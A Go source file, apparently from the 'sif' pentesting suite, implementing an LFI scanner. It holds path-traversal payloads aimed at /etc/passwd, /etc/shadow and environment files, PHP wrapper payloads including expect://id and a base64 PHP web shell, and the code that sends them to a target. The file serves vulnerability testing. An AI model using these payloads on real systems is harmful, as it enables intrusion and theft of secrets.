mirror of
https://github.com/lunchcat/sif.git
synced 2026-01-13 13:27:30 -08:00
29f817d935
replace o(n) slice iteration with map lookups for checking duplicates, preallocate result slices, reduce lock hold time by separating map check from result append
308 lines
9.8 KiB
Go
308 lines
9.8 KiB
Go
/*
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·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
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: :
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: █▀ █ █▀▀ · Blazing-fast pentesting suite :
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: ▄█ █ █▀ · BSD 3-Clause License :
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: :
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: (c) 2022-2025 vmfunc (Celeste Hickenlooper), xyzeva, :
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: lunchcat alumni & contributors :
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: :
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·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
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*/
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package scan
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import (
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"fmt"
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"io"
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"net/http"
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"net/url"
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"os"
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"regexp"
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"strings"
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"sync"
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"time"
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"github.com/charmbracelet/log"
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"github.com/dropalldatabases/sif/internal/styles"
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"github.com/dropalldatabases/sif/pkg/logger"
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)
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// LFIResult represents the results of LFI reconnaissance
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type LFIResult struct {
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Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
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TestedParams int `json:"tested_params"`
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TestedPayloads int `json:"tested_payloads"`
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}
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// LFIVulnerability represents a detected LFI vulnerability
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type LFIVulnerability struct {
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URL string `json:"url"`
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Parameter string `json:"parameter"`
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Payload string `json:"payload"`
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Evidence string `json:"evidence"`
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Severity string `json:"severity"`
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FileIncluded string `json:"file_included,omitempty"`
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}
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// LFI payloads for directory traversal
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var lfiPayloads = []struct {
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payload string
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target string
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severity string
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}{
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// Linux/Unix paths
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{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
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{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
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{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
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{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
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{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
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{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
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{"/etc/passwd", "/etc/passwd", "high"},
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{"/etc/passwd%00", "/etc/passwd", "high"},
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{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
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{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
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{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
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{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
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{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
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{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
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// Windows paths
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{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
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{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
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{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
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{"../../../../../../../boot.ini", "boot.ini", "high"},
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{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
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// PHP wrappers
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{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
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{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
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{"expect://id", "command execution", "critical"},
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{"php://input", "php input", "high"},
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{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
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}
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// Evidence patterns for LFI detection
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var lfiEvidencePatterns = []struct {
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pattern *regexp.Regexp
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description string
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severity string
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}{
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{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
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{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
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{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
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{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
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{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
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{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
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{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
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{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
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{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
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{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
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{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
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{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
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}
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// Common parameters to test
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var commonLFIParams = []string{
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"file", "page", "path", "include", "doc", "document",
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"folder", "root", "pg", "style", "pdf", "template",
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"php_path", "lang", "language", "view", "content",
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"layout", "mod", "conf", "url", "dir", "show",
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"name", "cat", "action", "read", "load", "open",
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}
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// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
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func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
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fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
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sanitizedURL := strings.Split(targetURL, "://")[1]
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if logdir != "" {
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if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
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log.Errorf("Error creating log file: %v", err)
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return nil, err
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}
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}
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lfilog := log.NewWithOptions(os.Stderr, log.Options{
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Prefix: "LFI 📁",
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}).With("url", targetURL)
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lfilog.Infof("Starting LFI reconnaissance...")
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result := &LFIResult{
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Vulnerabilities: make([]LFIVulnerability, 0, 16),
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}
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seen := make(map[string]bool)
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var mu sync.Mutex
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var wg sync.WaitGroup
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client := &http.Client{
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Timeout: timeout,
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CheckRedirect: func(req *http.Request, via []*http.Request) error {
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if len(via) >= 3 {
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return http.ErrUseLastResponse
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}
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return nil
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},
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}
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// parse the target URL to check for existing parameters
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parsedURL, err := url.Parse(targetURL)
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if err != nil {
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return nil, fmt.Errorf("failed to parse URL: %w", err)
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}
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existingParams := parsedURL.Query()
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paramsToTest := make(map[string]bool)
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// add existing parameters
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for param := range existingParams {
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paramsToTest[param] = true
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}
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// add common LFI parameters
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for _, param := range commonLFIParams {
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paramsToTest[param] = true
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}
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result.TestedParams = len(paramsToTest)
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result.TestedPayloads = len(lfiPayloads)
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lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
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// create work items
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type workItem struct {
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param string
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payload struct {
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payload string
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target string
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severity string
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}
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}
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workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
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for param := range paramsToTest {
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for _, payload := range lfiPayloads {
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workItems = append(workItems, workItem{param: param, payload: payload})
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}
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}
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// distribute work
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workChan := make(chan workItem, len(workItems))
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for _, item := range workItems {
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workChan <- item
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}
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close(workChan)
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wg.Add(threads)
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for t := 0; t < threads; t++ {
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go func() {
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defer wg.Done()
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for item := range workChan {
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// build test URL
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testParams := url.Values{}
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for k, v := range existingParams {
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if k != item.param {
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testParams[k] = v
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}
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}
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testParams.Set(item.param, item.payload.payload)
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testURL := fmt.Sprintf("%s://%s%s?%s",
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parsedURL.Scheme,
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parsedURL.Host,
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parsedURL.Path,
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testParams.Encode())
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resp, err := client.Get(testURL)
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if err != nil {
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log.Debugf("Error testing %s: %v", testURL, err)
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continue
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}
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body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
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resp.Body.Close()
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if err != nil {
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continue
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}
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bodyStr := string(body)
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// check for evidence patterns
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for _, evidence := range lfiEvidencePatterns {
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if evidence.pattern.MatchString(bodyStr) {
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key := item.param + "|" + item.payload.payload
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mu.Lock()
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if seen[key] {
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mu.Unlock()
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break
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}
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seen[key] = true
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vuln := LFIVulnerability{
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URL: testURL,
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Parameter: item.param,
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Payload: item.payload.payload,
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Evidence: evidence.description,
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Severity: item.payload.severity,
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FileIncluded: item.payload.target,
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}
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result.Vulnerabilities = append(result.Vulnerabilities, vuln)
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mu.Unlock()
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lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
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styles.SeverityHigh.Render(evidence.description),
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styles.Highlight.Render(item.param),
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styles.Status.Render(item.payload.target))
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if logdir != "" {
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logger.Write(sanitizedURL, logdir,
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fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
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evidence.description, item.param, item.payload.payload))
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}
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break
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}
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}
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}
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}()
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}
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wg.Wait()
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// summary
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if len(result.Vulnerabilities) > 0 {
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lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
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criticalCount := 0
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highCount := 0
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for _, v := range result.Vulnerabilities {
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if v.Severity == "critical" {
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criticalCount++
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} else if v.Severity == "high" {
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highCount++
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}
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}
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if criticalCount > 0 {
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lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
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}
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if highCount > 0 {
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lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
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}
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} else {
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lfilog.Infof("No LFI vulnerabilities detected")
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return nil, nil
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}
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return result, nil
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}
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// DetectLFIFromResponse checks a response body for LFI evidence
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func DetectLFIFromResponse(body string) (bool, string) {
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for _, evidence := range lfiEvidencePatterns {
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if evidence.pattern.MatchString(body) {
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return true, evidence.description
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}
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}
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return false, ""
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}
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